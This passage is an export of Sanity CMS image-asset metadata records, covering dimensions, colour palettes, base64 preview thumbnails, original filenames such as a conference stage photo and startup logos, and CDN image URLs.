hash":"99f4280f0a657e4c755c7381c4dc0a10df0eaa5f","size":12232,"uploadId":"b0952K0bZNO6aTtmph3NHtTRdPqN5LR0","url":"https://cdn.sanity.io/images/sczeoy4w/production/99f4280f0a657e4c755c7381c4dc0a10df0eaa5f-800x355.png"} {"_createdAt":"2023-10-31T12:25:55Z","_id":"image-9a104fde97aba6f48c388a47d3c2693b2b073a38-1426x1900-jpg","_rev":"yGYi2HTu7doJg1fO7gMW4r","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T09:24:05Z","altText":"Francesco Tisiot on the stage","assetId":"9a104fde97aba6f48c388a47d3c2693b2b073a38","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"d45hW3?F9WIv4TE3S*oZroxU=}xZCAJVros;#4w^f-Ri","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7505263157894737,"height":1900,"width":1426},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAHAAAAQMFAAAAAAAAAAAAAAAAAAEFBgIDBAcI/8QAIxAAAgICAgEEAwAAAAAAAAAAAQIAAwQRBRIxBhMUcSEiUf/EABYBAQEBAAAAAAAAAAAAAAAAAAIDAP/EABwRAAICAgMAAAAAAAAAAAAAAAABAhEDBBIhMf/aAAwDAQACEQMRAD8A5hisjKf2BH3M/gMc5HK4ymsvWXAb6jv646/PVKq9LXsbA/Ea9o1Li3ZGYQhGA2JwuEK7K8eusg11hjoeSZTyN2PbVdUoUuD1cERw5nJux60WlygchW6jWxIblE1ZneslW7edymrszmrrpE82tjhLi7tjJk1+ze6fwwlzkjvNtJ87hBL1jSro/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e4b5a","foreground":"#fff","population":1.67,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#064a80","foreground":"#fff","population":2.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#064a80","foreground":"#fff","population":2.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1b517d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92c1e6","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a66d5a","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#23679e","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"onstage-francesco-tisiot.jpg","path":"images/sczeoy4w/production/9a104fde97aba6f48c388a47d3c2693b2b073a38-1426x1900.jpg","sha1hash":"9a104fde97aba6f48c388a47d3c2693b2b073a38","size":180373,"title":null,"uploadId":"al4g9PrSGGiLuH2AE4RvDmH88uZpSLJC","url":"https://cdn.sanity.io/images/sczeoy4w/production/9a104fde97aba6f48c388a47d3c2693b2b073a38-1426x1900.jpg"} {"_createdAt":"2023-05-17T15:07:57Z","_id":"image-9a1fa582534b1124e5f10ec76e2da96ead537b65-1080x1080-jpg","_rev":"7zkUzK17nyKradHQJNganS","_type":"sanity.imageAsset","_updatedAt":"2023-05-17T15:07:57Z","assetId":"9a1fa582534b1124e5f10ec76e2da96ead537b65","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ePSPhGt7?It7s;xbj[axayay~Xj[D%f7R%XNayoNj[oM4-f7-qbFs;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1080,"width":1080},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAEGAgcI/8QAIhAAAQQCAgEFAAAAAAAAAAAAAQACAxEEBQYScRQhMTJR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAAID/8QAGxEBAQABBQAAAAAAAAAAAAAAAQACAxEhkdH/2gAMAwEAAhEDEQA/AOqHOa37EDysRNGTQkaT5Vd5loc3dsgGBn+kMd9vYnsq7icB2sWTDJLvCWsIsNYRY/PlZZaiOxivXtDmjwWx0UMHVjW3dCrRa10oiJIiIkv/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a4b4b","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2d8411","foreground":"#fff","population":0.43,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#58e00d","foreground":"#000","population":1.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7d299","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7fc6a","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#687360","foreground":"#fff","population":0.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#58e00d","foreground":"#000","population":1.36,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"logo principal-100.jpg","path":"images/sczeoy4w/production/9a1fa582534b1124e5f10ec76e2da96ead537b65-1080x1080.jpg","sha1hash":"9a1fa582534b1124e5f10ec76e2da96ead537b65","size":122379,"uploadId":"Qw6ZFF8TlDyL4JLbC3Ie1WId9QFjvId0","url":"https://cdn.sanity.io/images/sczeoy4w/production/9a1fa582534b1124e5f10ec76e2da96ead537b65-1080x1080.jpg"} {"_createdAt":"2022-06-15T20:01:30Z","_id":"image-9a233474cdc640da5cfee5cdf4f83a1b0235a425-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEaeY2","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:42Z","assetId":"9a233474cdc640da5cfee5cdf4f83a1b0235a425","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLODnLV@f7%Nxu~p%MIUM{j[aeRjWBM{xb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACeElEQVQokSXEWU/aAAAA4P7cPexlcTGZB2HzYHFOZ2Rzgpsit0qhQsVSDoG2FNpSCspVaIGWAvagOsXjaVmWfPmAm2q9z4sjeTRShpPxSNdudV01dHVqaKahTQ3V0G4lqVcoEMGTE5frKBIJMww1lGVVVQGxeiNVrvlaneO4dpufTFRdNzRNM3TDnJrm1JxOTU3TRLFXLFEQdO72eMFwmKYZQegBYr3VKDE0UUynM0ShyHfEXl/qdkWxJw0kpT8Y/icIg2arw3G19FU+AkXPozCSSAL1eiufw1E0FYvB8TiC40WKZmmapZlKscQUSArDSAwncZxkypwsj8YTrdXq5jEiBl8APC/gRCmRSF3GkXgcSaYy2RyezWF5jMAwIpfHSZIqsxzLVhvNtm6YT8+v93eP8nB8U28C9UY7mcpAUAwEw2chMByGQmAEDEPnUTgahS8RtNlsG8ZUN6bjiaaMJgNJkSRlPNYUZQI0mnzmKpdAkwiSQP+NwnAcvrgMnoY83kD8MtHp9m5VvdPt4QUahGCXO+DznyFoJpnKAapmCuKgwtWKJbrMctXaNVupprP4wZHv4NBNkFSLFzJZwvnbbdvYsXy0LVpWFpY/rdo2N7d2Ad24r1Qbbt/p3v4vtyfgD4a8/rOfzuMlq+3Llp0slRm25jg4XlheXf+8te889HgDLrfPdewDIzGgQHEub+j9B6vFum7fc1o+2ubml60rG4uWte2dPYKkKZoLBEGf/zSbJ9q8IMuKJCsDaTgaq4DDdbK2+f3dvGX3hwNB09/sjjdv5+bml75u26FovNUW+n2l0xGGw9Hd/Z/Z0+ts9vo4e3l4fHl4eP4LomH7HoinXFMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#333437","foreground":"#fff","population":9.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#681c1c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#333437","foreground":"#fff","population":9.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4b4ac","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3f3fc","foreground":"#000","population":7.8,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7484","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d35d5d","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9a233474cdc640da5cfee5cdf4f83a1b0235a425-752x405.png","path":"images/sczeoy4w/production/9a233474cdc640da5cfee5cdf4f83a1b0235a425-752x405.png","sha1hash":"9a233474cdc640da5cfee5cdf4f83a1b0235a425","size":98322,"uploadId":"6TBSUvGHljF5ysVbofHnCf2IMkVmFnoM","url":"https://cdn.sanity.io/images/sczeoy4w/production/9a233474cdc640da5cfee5cdf4f83a1b0235a425-752x405.png"} {"_createdAt":"2022-10-25T14:00:43Z","_id":"image-9a5bc1ef95f3e3fbac5837917c04bedc375be76d-1056x250-png","_rev":"4DA7uzMe7PWND6MELskw3g","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:00:43Z","assetId":"9a5bc1ef95f3e3fbac5837917c04bedc375be76d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9RfkC~UOa$xNM?H01?aR.V?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.224,"height":250,"width":1056},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAzklEQVQYlYXOvW6EMBAEYN7/RVLlAVJdlyZdoggE+AfsxQYhjHft84mzpdNxdZSvmmZGU43j2DQNAEzTJIWc5xkApHwGIUTbttZaDQAaQgg553K653LcczUMQ13X+sQ5t9YqpRhjxphXWWvNGOOc7/ue0jWlFG/HRrcVU0VEzrlAIYSAiDFGIvLexxgR0Tm3rivrn87dUWnop+3yu3x82+p14y85ZyKSUgohjDFd1zHGf+Ty/gVvn+qfcinlOA5E9N6HGL33iLjRVSyxt/QApBsVm0gdGGEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#406585","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#246cac","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#91d2fc","foreground":"#000","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcccd4","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91d2fc","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#446c94","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c94e4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9a5bc1ef95f3e3fbac5837917c04bedc375be76d-1056x250.png","path":"images/sczeoy4w/production/9a5bc1ef95f3e3fbac5837917c04bedc375be76d-1056x250.png","sha1hash":"9a5bc1ef95f3e3fbac5837917c04bedc375be76d","size":14756,"uploadId":"I9kZufehFItCnu5gMAaJrxybYN3GVl5N","url":"https://cdn.sanity.io/images/sczeoy4w/production/9a5bc1ef95f3e3fbac5837917c04bedc375be76d-1056x250.png"} {"_createdAt":"2024-08-26T07:26:16Z","_id":"image-9a610d420305ded0eab907c4f109af9212ddbcef-905x328-png","_rev":"m8xt6aEW5HgObqk4IKrl3e","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T07:26:16Z","assetId":"9a610d420305ded0eab907c4f109af9212ddbcef","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D009jvfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7591463414634148,"height":328,"width":905},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAC4jAAAuIwF4pT92AAAAxklEQVQokZ3RTUoDURAE4G80C0EQhICgUQc3AQUhRvxB/ItmEW+QtblAyCZbL6Bb75ELSkPPZBLcaEEtXr1+/aq6WaLAxhqLP3AFIezjFj1c4Bol2jjGCQ7RSf0ozyUOsN1suIU3fGKOCd5xh3MMMcITHjBocIir/Lh2Gu5mWOAbY9ykqzO85MNBNr3Pxq94xum6wy6m+MIHHrOghd2MGfEiZjAMBEOLuDs58xp76Ccvc2abjflWSwot+NvyVlAVx0X16F/4AayKEBwOX2lLAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AaltoStartupCenter_ENG_BLACK_2 (1).png","path":"images/sczeoy4w/production/9a610d420305ded0eab907c4f109af9212ddbcef-905x328.png","sha1hash":"9a610d420305ded0eab907c4f109af9212ddbcef","size":14346,"uploadId":"V9qMONNziY6131iS4099FNY47lNSI5IT","url":"https://cdn.sanity.io/images/sczeoy4w/production/9a610d420305ded0eab907c4f109af9212ddbcef-905x328.png"} {"_createdAt":"2022-06-15T20:02:47Z","_id":"image-9a6779f1f883d6ebad01d81ef859f2a209fc7c91-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8LNp","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:20Z","assetId":"9a6779f1f883d6ebad01d81ef859f2a209fc7c91","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MWQ9K0uP-:IVOCX;RiM{w^o}.SMcIoxusA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADNElEQVQokR3M/08bZRzA8fvHTMx+2C9qYhQNiUSdc8sSnC5zQ2BSNqFktzUsm8xgtrIRFAqjySI00VFgdAXmKC2UtvTb9Wmv7d099zzXa++uiKP3+Rj84ZX3b29BIsrVbL7yJJuvBHMF+VmuIC+eKki1xWJJWZBrbEbTrSlNb/mpbk3p3PGforw9RY0jPzXaT3RuzTFmTjPW8gi7iYw/8urv/Or6ZmP95Rbb3N7lsXiax/cyPLGfZQWpRutaU6uppnZahbZURW1oWo1rWpmqtEJVplBuUEVq6FpQiMXTCxuR18ZKOIKra5u4EzvAXEHGolT/X7XOUaMmVmUVq1IFlVQa9a0omqFlbP4ewOZsEM2XUTQKuRZTqqtCqawFcgVZz2QJZvMVtyxT0HQLdG4D1Vug1lSopJNwGF2D5NICpB6PA/FecxvfnnOdnm6wur90jb4RVBZDppRMrQo6d+YpsxllNp5OGLeRcRu4YSGryZDZCEHIPw6B+174bewGPL56EfxffARrH5+F6ntngJ09A1pXNypeX5NsRNcEZjjzzLAZN2zk3ALOm8iZiaauI9sLY2SyD+/2XcBRzyA+8InoGxvFa5cu4njPJ7h/4X1s9L4D9pV30bl32bS3llYEzpvzBjeZwRrYYNw1dR1MxsBSymBEpmDF+ykMXf4cbo6MwuxcAGYDAfAMDcHYd5dg2/cN6JPnwXnwIb6d6zE7sbsvBFPX501KdZNq2KSq26J1sGgdHKUIzeg0hEe7oP/cB9B//Xt49Osk/PLwIQz2XYd7g73wesYD5eX7rvpsGO3QV43Om94XglUpLjRInrNyHs2ahI5KsK0RPFIL6KTDmJoZwOkfunCi/zw+un0Df759EyfEW/iX34vVP4fReDWMRuRHbG9eabp7IyuCk0tMGOlYXDmMVzhJl9pKnhyreXKsZMmxnCDNWJCQxZ9I6ukASQR8ZHfpKclsPCfa7jL5Z99POonh0kl8oNI5GE+C9HxGOCIHn1nSvscsJe/Yclo8Vg7Ff5VD8a2SFk/qKbFTjYudwrp4kgqJJ9mw6Ja3Rbe6I3bkHdGtREWU/hCxGLyDJHwLq2++/g+Sh8NCJ5e6gQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#413847","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c11629","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7a118","foreground":"#000","population":5.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cccc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fae05a","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac6c9c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7a118","foreground":"#000","population":5.22,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9a6779f1f883d6ebad01d81ef859f2a209fc7c91-1567x844.png","path":"images/sczeoy4w/production/9a6779f1f883d6ebad01d81ef859f2a209fc7c91-1567x844.png","sha1hash":"9a6779f1f883d6ebad01d81ef859f2a209fc7c91","size":443541,"uploadId":"C6DcU1dILojHkklMEA7LeE2bjPsv1tfH","url":"https://cdn.sanity.io/images/sczeoy4w/production/9a6779f1f883d6ebad01d81ef859f2a209fc7c91-1567x844.png"} {"_createdAt":"2022-06-30T19:56:30Z","_id":"image-9a9ea3ef11a2af4cdfb983448a07092bf37bbef5-750x349-png","_rev":"QRl2cGoCgj0FlAhkRrhZzb","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:45Z","assetId":"9a9ea3ef11a2af4cdfb983448a07092bf37bbef5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4SF-D-;.8~qxu~qt7t7V@t7tkIUMxjZtR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1489971346704873,"height":349,"width":750},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAABCElEQVQokW2S3bLCIAyEef9XFUL+0PZqnUWjHc+52GkJyZcN0EQEmYnjOLYiA0MG+hgQNUQuPB6Pz37pfr/DzMD6iNix8zzRGOTm+U70DNyk49Y7hgiU0AjkWrsx/90dbgZT3dC11hfIBAJ35/NArNwgOhx0OQYmwVOhc2JSMqEisDkR7t/640Bj12sHrvXd2Qi5dWgfMJlbPilFqCHdUfWEUq3IhBWQLjgWi15AQegLsmWG5DFkfsRJqVagXyAdstiGwFX/AH7lPFd3tLJbLrmukXnwBWMOb7vENXN3/ZvB/1bj1dNgkLArlLH/ng7j+fOsGm/yCtwjy8ToA733Db5OcP2Ww2vsCflRtVoP18CRAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#296f48","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#24603e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#949e9a","foreground":"#000","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cd4bc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c0fce4","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#949e9a","foreground":"#000","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cd4ac","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9a9ea3ef11a2af4cdfb983448a07092bf37bbef5-750x349.png","path":"images/sczeoy4w/production/9a9ea3ef11a2af4cdfb983448a07092bf37bbef5-750x349.png","sha1hash":"9a9ea3ef11a2af4cdfb983448a07092bf37bbef5","size":22703,"uploadId":"sHKPHeBARobOxreMrfy9lPfSAQYqFTSk","url":"https://cdn.sanity.io/images/sczeoy4w/production/9a9ea3ef11a2af4cdfb983448a07092bf37bbef5-750x349.png"} {"_createdAt":"2023-06-28T08:12:08Z","_id":"image-9aa990489288c3659bb039f6faf18df1c8747eef-2310x1244-png","_rev":"UMQlcq9IaEdUdTmmR4UiGh","_type":"sanity.imageAsset","_updatedAt":"2023-06-28T08:12:08Z","assetId":"9aa990489288c3659bb039f6faf18df1c8747eef","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MASigQ%M~q%M-;?bRjR*ofWBxtaxR*j]Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8569131832797428,"height":1244,"width":2310},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABZElEQVQokYWS247bMAxE9/8/s0VsSbbusu7OFKQ3u9sgTQXwZQAdcob8AID7/Y4xJmpt6L2jlIIQIlJKKDmj1cr6VQNzTv7zXPQ+voHjE9iQU4A1Bs555COjtatRipF1akbaeZ5cL4Gtdxy5oNaCGByUUti1QYjpa3JvDdblBqU2xJhYOxn6BlhKhfURi9ygNgMfImv0OTgLsdwghOTpv6e8v7bcWkdtHdYnSKWhjUOMB0ppGH0ghQC5rliWFVprzvr8l+U5T14MhW6th5TbZTlclqkhZaikxLoK7Foj5zfAR/VBQIdVSIYa65BzZT0cCUIpCCmhtUHOmQf5C/i89jEHrL+AQm7Q2uI4MgPdcWDVGtuu4X1ArfX9hA+g8w5CKqhNs32yRlG44Fknu3SjpP0XOOeA9w7qc7qfGXprsdxebPkZ+IBewIngA/Zd8wHTydCyJlk2Grffv3jLlDNZpgx/ns0fmodXpLuAT3sAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#53453b","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#117364","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#53453b","foreground":"#fff","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c2cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8defe5","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#887568","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#54e5d0","foreground":"#000","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"community-forum-screenshot.png","path":"images/sczeoy4w/production/9aa990489288c3659bb039f6faf18df1c8747eef-2310x1244.png","sha1hash":"9aa990489288c3659bb039f6faf18df1c8747eef","size":505698,"uploadId":"pQ7AZ6ApBpQA8Pio0u8AAbdLqA07hzbl","url":"https://cdn.sanity.io/images/sczeoy4w/production/9aa990489288c3659bb039f6faf18df1c8747eef-2310x1244.png"} {"_createdAt":"2022-09-07T11:39:47Z","_id":"image-9ab3575a6f790a3b87ddd3ef859c5b9082d4ae69-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFkFD","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:47Z","assetId":"9ab3575a6f790a3b87ddd3ef859c5b9082d4ae69","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC1ElEQVQ4jW1Uz0tVURD+1EwDjR6hlBtpEYibWhTU6tkqCaKgpwmFvvdmnlpZkhS1yAhrk4sIcqVWhItykxDVojIrl7oI/H/OF3PO3OstuvBxhvnx3Tnz4wAAOAWwDlAAKsBGOkPSNVHQHFFHU26vARz10+KGsPtxDOCIO47mhPsoOErBOQqqQVA1OZjObJMAx/2n5wFOFAnhfxkHOB3JOqkYoOAJBWsUrDvWXFcOgk5e8AQs6+UioRauq9hLxWkKFoLgKwWLQXCfCUtMugUKToUaWkOKQahlZBNO9gKIRkEPBXcp+ELBUwukoMth8rzb7oQ6DscknnkP7Np5ypqTH6fgNQWrFJxhFS35DQQtpgvJ9oqCY7FMVa/7mBEue6dMOR47arX7SMEbCk5QcICKgxEmC066zXwG2IgxKf6l1y+kLFupOELBDAU7FGxT8JyCRxTMUTFncki6bSp2qJiJMQ3s4XwqWdYMmzMjmw6CzxT8pmCLil8UbFDww7Hhui3zCYJPQTEdSRXNibAcCdspuOhjYfW5SUElKC7xfxBU3GeVgvce284l5Nuw36/63bJkHd2sx2Y0U9FGRbfDZNsYa0539BWsB8Ft44ij4ytXouBhSITDHItEWfe7qBhydBUmwn447EnMRo76boYlL77VqxIJG3l9+6lYdPQXCO2nFY+x2JJx5RmGvwlbeCMn7KNiwdH3T4aVImHMsHDlWU//cj7MCSUqzjpMzl4k8xnxmAchcQBBIqwpt/wBuEdBLyW+Nu1B0VFoSkfsZrL1+o6ve6xx+JYo2oJikIp3FHyIgyyYouB6UFyn4pohyhIxRcXjYL6Kt1QMBpuA2GWrk62PooeKGhUrFHyj4CcFm0GxaWfErmw281nxmJ5sBVM9rsQ9tpocoqIcFFcpmMwysjPPLp2TQaJPOcZYbLqpL3U91dILnj35Nrz2k3S6HDI5+aSHweAPzB+LnX54NAMd0gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543c44","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#802004","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f66109","foreground":"#fff","population":6.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7f3b19","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc7c4c","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4745c","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f66109","foreground":"#fff","population":6.94,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-lock.svg","path":"images/sczeoy4w/production/9ab3575a6f790a3b87ddd3ef859c5b9082d4ae69-24x24.svg","sha1hash":"9ab3575a6f790a3b87ddd3ef859c5b9082d4ae69","size":522,"uploadId":"4GXKnnN832MMAmyQjaxEQGq1BzKn2EUV","url":"https://cdn.sanity.io/images/sczeoy4w/production/9ab3575a6f790a3b87ddd3ef859c5b9082d4ae69-24x24.svg"} 